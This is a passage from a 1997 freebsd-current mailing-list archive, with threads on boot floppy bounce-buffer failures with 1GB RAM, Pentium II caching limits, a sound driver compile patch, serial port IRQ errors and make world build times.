for current-outgoing; Tue, 4 Nov 1997 23:29:15 -0800 (PST) (envelope-from owner-freebsd-current) Received: from kaos.atext.com (kaos.atext.com [204.62.245.13]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA19821 for ; Tue, 4 Nov 1997 23:29:12 -0800 (PST) (envelope-from kingson@geocities.com) Received: from kingson-pc.atext.com (kingson-pc [204.62.245.181]) by kaos.atext.com (8.8.5/8.8.5) with SMTP id XAA20022 for ; Tue, 4 Nov 1997 23:28:37 -0800 (PST) Message-Id: <3.0.32.19691231160000.007d8140@mailhost.atext.com> X-Sender: kingson@mailhost.atext.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 04 Nov 1997 23:29:10 -0800 To: freebsd-current@FreeBSD.ORG From: Kingson Gunawan Subject: Re: memory out of range??? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 01:26 PM 11/5/97 +1030, Mike Smith wrote: >> I have the following setup/config: >> Tyan m/b Tahoe series Dual P-II/266 with 1GB memory (yes, 1024MB of >> RAM). >> DPT smartraid-4 (UW), Adaptec 2940UW >> Matshita CD-ROM (SCSI) >> 8 IBM UW SCSI 4.1GB drives (7 configured as raid attached to DPT, the >> rest attached to the Adaptec). > >Hmm, nice configuration. I am presuming you'll be looking at the DPT >driver soon? Yes, I've discussed this with Simon. The reason I of booting with a 'regular' boot floppy is to verify the very same result I got with the boot floppy containing the dpt driver. It sure is a really heavy duty config, however, looks like I should not put memory >512MB (due to caching issue???) > >> I made the boot floppy from the image in the >> current.freebsd.org:/pub/3.0-971101-SNAP/floppies. >> I know this boot floppy will not recognize the DPT controller. However, >> the boot floppy crashed with: >> "bounced memory: out of range" (or something like that) >> right after the install config screen. >> >> Any idea? > >Yup. You have too much memory for the "BOUNCE_BUFFERS" option, which >is part of the boot floppy's configuration (in order to support >slightly lower-end systems 8). If you can temporarily remove most of >your memory until after you've installed and built a new kernel, >you'll be fine. I'll try your suggestion. Hopefully, I have a better luck tomorrow... :-) > >mike > > > From owner-freebsd-current Tue Nov 4 23:33:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA20516 for current-outgoing; Tue, 4 Nov 1997 23:33:57 -0800 (PST) (envelope-from owner-freebsd-current) Received: from kaos.atext.com (kaos.atext.com [204.62.245.13]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA20511 for ; Tue, 4 Nov 1997 23:33:55 -0800 (PST) (envelope-from kingson@geocities.com) Received: from kingson-pc.atext.com (kingson-pc [204.62.245.181]) by kaos.atext.com (8.8.5/8.8.5) with SMTP id XAA20730 for ; Tue, 4 Nov 1997 23:33:22 -0800 (PST) Message-Id: <3.0.32.19691231160000.007db470@mailhost.atext.com> X-Sender: kingson@mailhost.atext.com X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Tue, 04 Nov 1997 23:33:53 -0800 To: freebsd-current@FreeBSD.ORG From: Kingson Gunawan Subject: Re: memory out of range??? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 01:27 AM 11/5/97 -0500, John S. Dyson wrote: >Tom said: >> >> On Tue, 4 Nov 1997, Kingson Gunawan wrote: >> >> > I have the following setup/config: >> > Tyan m/b Tahoe series Dual P-II/266 with 1GB memory (yes, 1024MB of >> > RAM). >> >One minor problem (not related to the bounce problem): P-II processors >don't cache above 512MB. That would be a major problem for me actually (the application that I am working on). Hmmm... I wonder why would a powerhorse cpu such as the P-II doesn't cache above a certain memory space??? A regular pentium, maybe, but not a P6 class cpu. KIngson From owner-freebsd-current Tue Nov 4 23:38:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA20989 for current-outgoing; Tue, 4 Nov 1997 23:38:35 -0800 (PST) (envelope-from owner-freebsd-current) Received: from dyson.iquest.net (dyson.iquest.net [198.70.144.127]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA20956; Tue, 4 Nov 1997 23:38:27 -0800 (PST) (envelope-from toor@dyson.iquest.net) Received: (from root@localhost) by dyson.iquest.net (8.8.7/8.8.5) id CAA21490; Wed, 5 Nov 1997 02:38:19 -0500 (EST) From: "John S. Dyson" Message-Id: <199711050738.CAA21490@dyson.iquest.net> Subject: Re: memory out of range??? In-Reply-To: from Tom at "Nov 4, 97 11:16:12 pm" To: tom@uniserve.com (Tom) Date: Wed, 5 Nov 1997 02:38:19 -0500 (EST) Cc: dyson@freebsd.org, kingson@excite.com, freebsd-current@freebsd.org Reply-To: dyson@freebsd.org X-Mailer: ELM [version 2.4ME+ PL31 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Tom said: > > On Wed, 5 Nov 1997, John S. Dyson wrote: > > > One minor problem (not related to the bounce problem): P-II processors > > don't cache above 512MB. > > Hardly minor. Performance will be rather uneven on 512MB+ systems. > > Does the Pro have this limiation too? > No. -- John dyson@freebsd.org jdyson@nc.com From owner-freebsd-current Wed Nov 5 00:11:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA22598 for current-outgoing; Wed, 5 Nov 1997 00:11:58 -0800 (PST) (envelope-from owner-freebsd-current) Received: from mail1.rosprint.net (root@mail1.RoSprint.net [193.232.88.140]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA22590 for ; Wed, 5 Nov 1997 00:11:52 -0800 (PST) (envelope-from alx@scn.ru) Received: from keep.scn.ru (keep.scn.ru [195.151.16.41]) by mail1.rosprint.net (8.8.5/8.8.5) with ESMTP id LAA21979 for ; Wed, 5 Nov 1997 11:11:44 +0300 (MSK) Received: from alx.scn.ru (alx.scn.ru [195.151.16.36]) by keep.scn.ru (8.8.5/8.8.5) with ESMTP id PAA08076 for ; Wed, 5 Nov 1997 15:12:35 +0700 (KRS) Message-Id: <199711050812.PAA08076@keep.scn.ru> From: "Alex N. Zhuravlev" To: Subject: Ports collection Date: Wed, 5 Nov 1997 15:11:21 +0700 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1161 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Explain please how to use smth from ports collection.Tryed to follow handbook insructions but got nothing.FreeBSD 2.2.2.Thanks. From owner-freebsd-current Wed Nov 5 00:38:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA24195 for current-outgoing; Wed, 5 Nov 1997 00:38:57 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA24190 for ; Wed, 5 Nov 1997 00:38:54 -0800 (PST) (envelope-from sos@sos.freebsd.dk) Received: (from sos@localhost) by sos.freebsd.dk (8.8.7/8.7.3) id JAA15896 for current@freebsd.org; Wed, 5 Nov 1997 09:38:45 +0100 (MET) Message-Id: <199711050838.JAA15896@sos.freebsd.dk> Subject: New sound code problems To: current@freebsd.org (FreeBSD current) Date: Wed, 5 Nov 1997 09:38:45 +0100 (MET) From: Søren Schmidt Reply-to: sos@FreeBSD.dk X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk It seems its only a partially job... At leaset sequencer_poll & MIDIbuf_poll are not implemented making a compile impossible. There might be other things related to the select -> poll transition. Soundcard.c has been hacked to get it to compile, this patch corrects that, but the it fails to compile for the above reason. Amancio is there a newer version of this, or are we going to "invent" this ourselves ?? RCS file: /home/ncvs/src/sys/i386/isa/sound/soundcard.c,v retrieving revision 1.56 diff -u -r1.56 soundcard.c --- soundcard.c 1997/11/05 00:23:26 1.56 +++ soundcard.c 1997/11/05 08:30:19 @@ -230,14 +230,14 @@ /* printf ("snd_select(dev=%d, rw=%d, pid=%d)\n", dev, rw, p->p_pid); */ #ifdef ALLOW_SELECT switch (dev & 0x0f) { -#ifdef EXCLUDE_SEQUENCER +#ifdef CONFIG_SEQUENCER case SND_DEV_SEQ: case SND_DEV_SEQ2: return sequencer_poll(dev, &files[dev], events, p); break; #endif -#ifdef EXCLUDE_MIDI +#ifdef CONFIG_MIDI case SND_DEV_MIDIN: return MIDIbuf_poll(dev, &files[dev], events, p); break; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-current Wed Nov 5 01:01:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA26129 for current-outgoing; Wed, 5 Nov 1997 01:01:20 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA26113 for ; Wed, 5 Nov 1997 01:01:15 -0800 (PST) (envelope-from sos@sos.freebsd.dk) Received: (from sos@localhost) by sos.freebsd.dk (8.8.7/8.7.3) id KAA19298; Wed, 5 Nov 1997 10:01:02 +0100 (MET) Message-Id: <199711050901.KAA19298@sos.freebsd.dk> Subject: Re: memory out of range??? In-Reply-To: <3.0.32.19691231160000.007db470@mailhost.atext.com> from Kingson Gunawan at "Nov 4, 97 11:33:53 pm" To: kingson@geocities.com (Kingson Gunawan) Date: Wed, 5 Nov 1997 10:01:02 +0100 (MET) Cc: freebsd-current@FreeBSD.ORG From: Søren Schmidt Reply-to: sos@FreeBSD.dk X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to Kingson Gunawan who wrote: > >> > >One minor problem (not related to the bounce problem): P-II processors > >don't cache above 512MB. > > That would be a major problem for me actually (the application that I am > working on). Hmmm... I wonder why would a powerhorse cpu such as the P-II > doesn't cache above a certain memory space??? A regular pentium, maybe, > but not a P6 class cpu. The P-II is not a powerhorse, its a marketing plot by intel, period. If you want a true powerhorse go get the new P6 with 1M L2 cache and get a decent Motherboard and put 2-4 of them in there, THAT will kick butt, the P-II is just a bad joke... PS: You might get adapter boards for the TYAN that will allow you to but P6's in there instead of the P-II's, I don't know however if this works "for real" -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-current Wed Nov 5 01:58:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA29277 for current-outgoing; Wed, 5 Nov 1997 01:58:44 -0800 (PST) (envelope-from owner-freebsd-current) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id BAA29201 for ; Wed, 5 Nov 1997 01:58:03 -0800 (PST) (envelope-from luigi@labinfo.iet.unipi.it) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id JAA22320; Wed, 5 Nov 1997 09:45:56 +0100 From: Luigi Rizzo Message-Id: <199711050845.JAA22320@labinfo.iet.unipi.it> Subject: Re: New sound code problems To: sos@FreeBSD.dk Date: Wed, 5 Nov 1997 09:45:56 +0100 (MET) Cc: current@FreeBSD.ORG In-Reply-To: <199711050838.JAA15896@sos.freebsd.dk> from "Søren Schmidt" at Nov 5, 97 09:38:26 am X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > At leaset sequencer_poll & MIDIbuf_poll are not implemented > making a compile impossible. There might be other things ... > #ifdef ALLOW_SELECT > switch (dev & 0x0f) { > -#ifdef EXCLUDE_SEQUENCER > +#ifdef CONFIG_SEQUENCER ... > -#ifdef EXCLUDE_MIDI > +#ifdef CONFIG_MIDI welcome to Voxware :) Cheers Luigi From owner-freebsd-current Wed Nov 5 03:12:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA03291 for current-outgoing; Wed, 5 Nov 1997 03:12:02 -0800 (PST) (envelope-from owner-freebsd-current) Received: from word.smith.net.au (ppp13.portal.net.au [202.12.71.113]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA03268; Wed, 5 Nov 1997 03:11:48 -0800 (PST) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id VAA00275; Wed, 5 Nov 1997 21:37:42 +1030 (CST) Message-Id: <199711051107.VAA00275@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: dyson@FreeBSD.ORG cc: tom@uniserve.com (Tom), kingson@excite.com, freebsd-current@FreeBSD.ORG Subject: Re: memory out of range??? In-reply-to: Your message of "Wed, 05 Nov 1997 01:27:12 CDT." <199711050627.BAA20689@dyson.iquest.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 05 Nov 1997 21:37:38 +1030 From: Mike Smith Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > One minor problem (not related to the bounce problem): P-II processors > don't cache above 512MB. Is this addressed by the (rumoured?) PII's with 1024K caches? mike From owner-freebsd-current Wed Nov 5 03:19:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA03522 for current-outgoing; Wed, 5 Nov 1997 03:19:01 -0800 (PST) (envelope-from owner-freebsd-current) Received: from word.smith.net.au (ppp13.portal.net.au [202.12.71.113]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA03513 for ; Wed, 5 Nov 1997 03:18:53 -0800 (PST) (envelope-from mike@word.smith.net.au) Received: from word.smith.net.au (localhost [127.0.0.1]) by word.smith.net.au (8.8.7/8.8.5) with ESMTP id VAA00386; Wed, 5 Nov 1997 21:45:00 +1030 (CST) Message-Id: <199711051115.VAA00386@word.smith.net.au> X-Mailer: exmh version 2.0zeta 7/24/97 To: Kingson Gunawan cc: freebsd-current@freebsd.org Subject: Re: memory out of range??? In-reply-to: Your message of "Tue, 04 Nov 1997 23:29:10 -0800." <3.0.32.19691231160000.007d8140@mailhost.atext.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 05 Nov 1997 21:44:58 +1030 From: Mike Smith Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Yes, I've discussed this with Simon. The reason I of booting with a > 'regular' boot floppy is to verify the very same result I got with the boot > floppy containing the dpt driver. It sure is a really heavy duty config, > however, looks like I should not put memory >512MB (due to caching issue???) I'd be suggesting that Simon quietly lose the BOUNCE_BUFFERS option from his boot floppy for now. It's not really a candidate for your average DPT-wearing system. wrt. the caching thing, it does indeed sound that way. I can't understand Intel; they abandon the P6 for the PII, and manage to come out with a slower, less featureful product for even more $$$. If you get a chance, I think the big money is still on the P6-200/512K mike From owner-freebsd-current Wed Nov 5 03:20:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA03611 for current-outgoing; Wed, 5 Nov 1997 03:20:26 -0800 (PST) (envelope-from owner-freebsd-current) Received: from mailhub (tfs.com [140.145.250.1]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id DAA03606 for ; Wed, 5 Nov 1997 03:20:21 -0800 (PST) (envelope-from phk@critter.freebsd.dk) Received: from schizo.dk.tfs.com by mailhub (SMI-8.6/SMI-SVR4) id DAA13534; Wed, 5 Nov 1997 03:13:57 -0800 Received: from critter.freebsd.dk (critter.dk.tfs.com [140.145.230.252]) by schizo.dk.tfs.com (8.8.7/8.7.3) with ESMTP id MAA19096 for ; Wed, 5 Nov 1997 12:19:45 +0100 (MET) Received: from critter.freebsd.dk (localhost.dk.tfs.com [127.0.0.1]) by critter.freebsd.dk (8.8.7/8.8.7) with ESMTP id MAA00548 for ; Wed, 5 Nov 1997 12:18:42 +0100 (CET) (envelope-from phk@critter.freebsd.dk) To: current@freebsd.org Subject: sio multiport irq problem From: Poul-Henning Kamp Date: Wed, 05 Nov 1997 12:18:41 +0100 Message-ID: <546.878728721@critter.freebsd.dk> Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk HELP! sio0 at 0x3f8-0x3ff irq 4 on isa sio0: type 16550A sio1 at 0x2f8-0x2ff irq 3 on isa sio1: type 16550A sio2 at 0x2a0-0x2a7 irq 10 flags 0x10285 on isa sio2: type 16550A (multiport master) Freeing (NOT implemented) redirected ISA irq 10. create_intr: requested irq-1 too high, limit is 23 sio3 at 0x2a8-0x2af flags 0x20100285 on isa sio3: type 16550A lookalike with 32 bytes FIFO (multiport) sio4 at 0x2b0-0x2b7 flags 0x20100285 on isa sio4: type 16550A lookalike with 32 bytes FIFO (multiport) sio5 at 0x2b8-0x2bf flags 0x10285 on isa sio5: type 16550A (multiport) -- Poul-Henning Kamp FreeBSD coreteam member phk@FreeBSD.ORG "Real hackers run -current on their laptop." From owner-freebsd-current Wed Nov 5 03:32:21 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA04016 for current-outgoing; Wed, 5 Nov 1997 03:32:21 -0800 (PST) (envelope-from owner-freebsd-current) Received: from sos.freebsd.dk (sos.freebsd.dk [195.8.129.33]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA04010 for ; Wed, 5 Nov 1997 03:32:16 -0800 (PST) (envelope-from sos@sos.freebsd.dk) Received: (from sos@localhost) by sos.freebsd.dk (8.8.7/8.7.3) id MAA03309; Wed, 5 Nov 1997 12:31:46 +0100 (MET) Message-Id: <199711051131.MAA03309@sos.freebsd.dk> Subject: Re: Make World Times In-Reply-To: from Simon Shapiro at "Nov 4, 97 11:12:28 am" To: Shimon@i-Connect.Net (Simon Shapiro) Date: Wed, 5 Nov 1997 12:31:46 +0100 (MET) Cc: sos@FreeBSD.dk, cunning@dpt.com, freebsd-current@FreeBSD.ORG, jkh@time.cdrom.com From: Søren Schmidt Reply-to: sos@FreeBSD.dk X-Mailer: ELM [version 2.4ME+ PL30 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In reply to Simon Shapiro who wrote: OK, did a total make world just for the fun of it, just as make.conf is setup in a fresh install: -------------------------------------------------------------- make world started on Wed Nov 5 10:43:27 MET 1997 -------------------------------------------------------------- ... -------------------------------------------------------------- make world completed on Wed Nov 5 12:15:23 MET 1997 -------------------------------------------------------------- 5515.97 real 3823.76 user 914.00 sys Thats 1h32m ! Beat that, and then remember the cost of your setup versus mine ;-) -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team Even more code to hack -- will it ever end .. From owner-freebsd-current Wed Nov 5 03:42:31 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA04547 for current-outgoing; Wed, 5 Nov 1997 03:42:31 -0800 (PST) (envelope-from owner-freebsd-current) Received: from europa.humberc.on.ca (melange@europa.humberc.on.ca [142.214.112.124]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA04542 for ; Wed, 5 Nov 1997 03:42:29 -0800 (PST) (envelope-from melange@europa.humberc.on.ca) Received: from localhost (melange@localhost) by europa.humberc.on.ca (8.8.5/8.8.5) with SMTP id GAA06642 for ; Wed, 5 Nov 1997 06:45:23 -0500 (EST) Date: Wed, 5 Nov 1997 06:45:23 -0500 (EST) From: Bob K To: freebsd-current@freebsd.org Subject: Re: memory out of range??? In-Reply-To: <199711051107.VAA00275@word.smith.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 5 Nov 1997, Mike Smith wrote: > > > > One minor problem (not related to the bounce problem): P-II processors > > don't cache above 512MB. > > Is this addressed by the (rumoured?) PII's with 1024K caches? I could be wrong about this, but I thought that the amount of memory that is cachable is dependant upon the chipset that the motherboard is using, rather than the processor itself. Or is this different now that the L2 cache is located in the chip (cartridge)? From owner-freebsd-current Wed Nov 5 06:50:32 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id GAA13461 for current-outgoing; Wed, 5 Nov 1997 06:50:32 -0800 (PST) (envelope-from owner-freebsd-current) Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id GAA13456 for ; Wed, 5 Nov 1997 06:50:27 -0800 (PST) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.8.5/8.8.5) id JAA20238; Wed, 5 Nov 1997 09:50:24 -0500 (EST) Date: Wed, 5 Nov 1997 09:50:24 -0500 (EST) From: Garrett Wollman Message-Id: <199711051450.JAA20238@khavrinen.lcs.mit.edu> To: Tom Cc: freebsd-current@FreeBSD.ORG Subject: Re: memory out of range??? In-Reply-To: References: <345FC6CF.73D2D1A4@excite.com> Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk < said: > Bounce buffers (for ISA devices that require DMA: aha, and some > ethernets) And floppy disks! -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick From owner-freebsd-current Wed Nov 5 07:48:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id HAA17143 for current-outgoing; Wed, 5 Nov 1997 07:48:20 -0800 (PST) (envelope-from owner-freebsd-current) Received: from vinyl.quickweb.com (vinyl.quickweb.com [209.112.4.14]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id HAA17138 for ; Wed, 5 Nov 1997 07:48:16 -0800 (PST) (envelope-from mark@quickweb.com) Received: (from mark@localhost) by vinyl.quickweb.com (8.8.7/8.6.12) id KAA01822; Wed, 5 Nov 1997 10:48:53 -0500 (EST) Message-ID: <19971105104853.40620@vmunix.com> Date: Wed, 5 Nov 1997 10:48:53 -0500 From: Mark Mayo To: sos@FreeBSD.dk Cc: Simon Shapiro , freebsd-current@FreeBSD.ORG Subject: Re: Make World Times References: <199711051131.MAA03309@sos.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.85e In-Reply-To: =?iso-8859-1?Q?=3C199711051131=2EMAA03309=40sos=2Efreebsd=2Edk=3E=3B_fro?= =?iso-8859-1?Q?m_S=F8ren_Schmidt_on_Wed=2C_Nov_05=2C_1997_at_12=3A31=3A4?= =?iso-8859-1?Q?6PM_+0100?= X-Operating-System: FreeBSD 2.2.5-STABLE i386 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Wed, Nov 05, 1997 at 12:31:46PM +0100, Søren Schmidt wrote: > In reply to Simon Shapiro who wrote: > > OK, did a total make world just for the fun of it, just as make.conf > is setup in a fresh install: > -------------------------------------------------------------- > make world started on Wed Nov 5 10:43:27 MET 1997 > -------------------------------------------------------------- > ... > -------------------------------------------------------------- > make world completed on Wed Nov 5 12:15:23 MET 1997 > -------------------------------------------------------------- > 5515.97 real 3823.76 user 914.00 sys > > Thats 1h32m ! Beat that, and then remember the cost of your setup > versus mine ;-) That's about on par with what I get as well (almost exactly actually). I'm using a PPro 200, 2940U SCSI with 2 Quantum Fireball 4.3GB disks. /usr/src on one, /usr/obj on the other - both mounted async with -O -pipe as the /etc/make.conf flags.. And I only have 32mb OF RAM! :-) If these make world time keep coming down, I predict I'll have it in my crontab by the end of the year! ;-) -Mark > > > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team > Even more code to hack -- will it ever end > .. -- ------------------------------------------------------------------------ Mark Mayo mark@vmunix.com RingZero Comp. http://www.vmunix.com/mark finger mark@vmunix.com for my PGP key and GCS code ------------------------------------------------------------------------ Win95/NT - 32 bit extensions and a graphical shell for a 16 bit patch to an an 8 bit operating system originally coded for a 4 bit microprocessor, written by a 2 bit company that can't stand 1 bit of competition. -UGU From owner-freebsd-current Wed Nov 5 08:30:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA19559 for current-outgoing; Wed, 5 Nov 1997 08:30:50 -0800 (PST) (envelope-from owner-freebsd-current) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA19553 for ; Wed, 5 Nov 1997 08:30:48 -0800 (PST) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.v-site.net [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id IAA02192; Wed, 5 Nov 1997 08:30:27 -0800 (PST) Message-Id: <199711051630.IAA02192@rah.star-gate.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: sos@FreeBSD.dk cc: current@FreeBSD.ORG (FreeBSD current) Subject: Re: New sound code problems In-reply-to: Your message of "Wed, 05 Nov 1997 09:38:45 +0100." <199711050838.JAA15896@sos.freebsd.dk> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Date: Wed, 05 Nov 1997 08:30:26 -0800 From: Amancio Hasty Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by hub.freebsd.org id IAA19554 Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi, You guys can invent the calls if you like 8) Will look into it tonite when I get home from work. Cheers, Amancio > > It seems its only a partially job... > > At leaset sequencer_poll & MIDIbuf_poll are not implemented > making a compile impossible. There might be other things > related to the select -> poll transition. > > > Soundcard.c has been hacked to get it to compile, this patch > corrects that, but the it fails to compile for the above > reason. Amancio is there a newer version of this, or are > we going to "invent" this ourselves ?? > > RCS file: /home/ncvs/src/sys/i386/isa/sound/soundcard.c,v > retrieving revision 1.56 > diff -u -r1.56 soundcard.c > --- soundcard.c 1997/11/05 00:23:26 1.56 > +++ soundcard.c 1997/11/05 08:30:19 > @@ -230,14 +230,14 @@ > /* printf ("snd_select(dev=%d, rw=%d, pid=%d)\n", dev, rw, p->p_pid); > */ > #ifdef ALLOW_SELECT > switch (dev & 0x0f) { > -#ifdef EXCLUDE_SEQUENCER > +#ifdef CONFIG_SEQUENCER > case SND_DEV_SEQ: > case SND_DEV_SEQ2: > return sequencer_poll(dev, &files[dev], events, p); > break; > #endif > > -#ifdef EXCLUDE_MIDI > +#ifdef CONFIG_MIDI > case SND_DEV_MIDIN: > return MIDIbuf_poll(dev, &files[dev], events, p); > break; > > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Søren Schmidt (sos@FreeBSD.org) FreeBSD Core Team > Even more code to hack -- will it ever end > .. From owner-freebsd-current Wed Nov 5 08:42:37 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA20430 for current-outgoing; Wed, 5 Nov 1997 08:42:37 -0800 (PST) (envelope-from owner-freebsd-current) Received: from opus.cts.cwu.edu (skynyrd@opus.cts.cwu.edu [198.104.92.71]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id IAA20425 for ; Wed, 5 Nov 1997 08:42:34 -0800 (PST) (envelope-from skynyrd@opus.cts.cwu.edu) Received: from localhost (skynyrd@localhost) by opus.cts.cwu.edu (8.8.7/8.8.7) with SMTP id IAA24817; Wed, 5 Nov 1997 08:38:10 -0800 (PST) (envelope-from skynyrd@opus.cts.cwu.edu) Date: Wed, 5 Nov 1997 08:38:10 -0800 (PST) From: Chris Timmons To: Evan Champion cc: freebsd-current@FreeBSD.ORG Subject: Re: operator not member of group operator? In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk I get burned by this every time I set up amanda and make /etc/dumpdates group operator, group writeable. If no-one has changed this yet, any objections? -Chris On Tue, 4 Nov 1997, Evan Champion wrote: > Is there any particular reason why user operator is not a member of group > operator? > > The user operator itself is kind of useless; being a member of group > operator is what makes operator what it is -- the userid that dumps are > done as. It can't do its job the way it is currently defined... > > Evan > From owner-freebsd-current Wed Nov 5 08:45:29 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id IAA20654 for current-outgoing; Wed, 5 Nov 1997 08:45:29 -0800 (PST) 